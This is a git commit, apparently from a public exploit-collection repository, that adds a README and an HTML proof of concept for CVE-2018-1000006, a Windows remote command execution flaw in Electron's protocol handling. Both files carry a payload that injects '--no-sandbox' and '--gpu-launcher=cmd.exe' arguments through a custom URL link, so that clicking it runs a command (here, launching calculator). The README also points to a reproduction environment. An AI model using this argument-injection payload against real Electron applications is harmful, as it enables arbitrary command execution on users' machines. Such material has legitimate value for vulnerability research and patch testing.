add Electron RCE

yuanshu1997 · Jan 28, 2018 · feb35f0 · feb35f0
1 parent 309b5fa
commit feb35f0
Show file tree

Hide file tree

Showing 2 changed files with 24 additions and 0 deletions.
diff --git a/CMS/Electron/CVE-2018-1000006/README.md b/CMS/Electron/CVE-2018-1000006/README.md
@@ -0,0 +1,16 @@
+# Electron<v.1.8.2-beta.4 RCE - CVE-2018-1000006 only for windows
+
+## Reference
+* [https://xianzhi.aliyun.com/forum/topic/1990](https://xianzhi.aliyun.com/forum/topic/1990)
+* [https://electronjs.org/blog/protocol-handler-fix](https://electronjs.org/blog/protocol-handler-fix)
+
+## Payload
+```
+chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc
+当用户点击poc.html会执行命令
+```
+## 复现
+
+* p师傅的项目里面有复现环境，git地址[https://github.com/vulhub/vulhub.git][https://github.com/vulhub/vulhub.git]
+
+
diff --git a/CMS/Electron/CVE-2018-1000006/poc.html b/CMS/Electron/CVE-2018-1000006/poc.html
@@ -0,0 +1,8 @@
+<html>
+<head>
+    POC for CVE-2018-1000006
+</head>
+<body>
+  <a class="protocol" href='chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc</h3></a>
+</body>
+</html>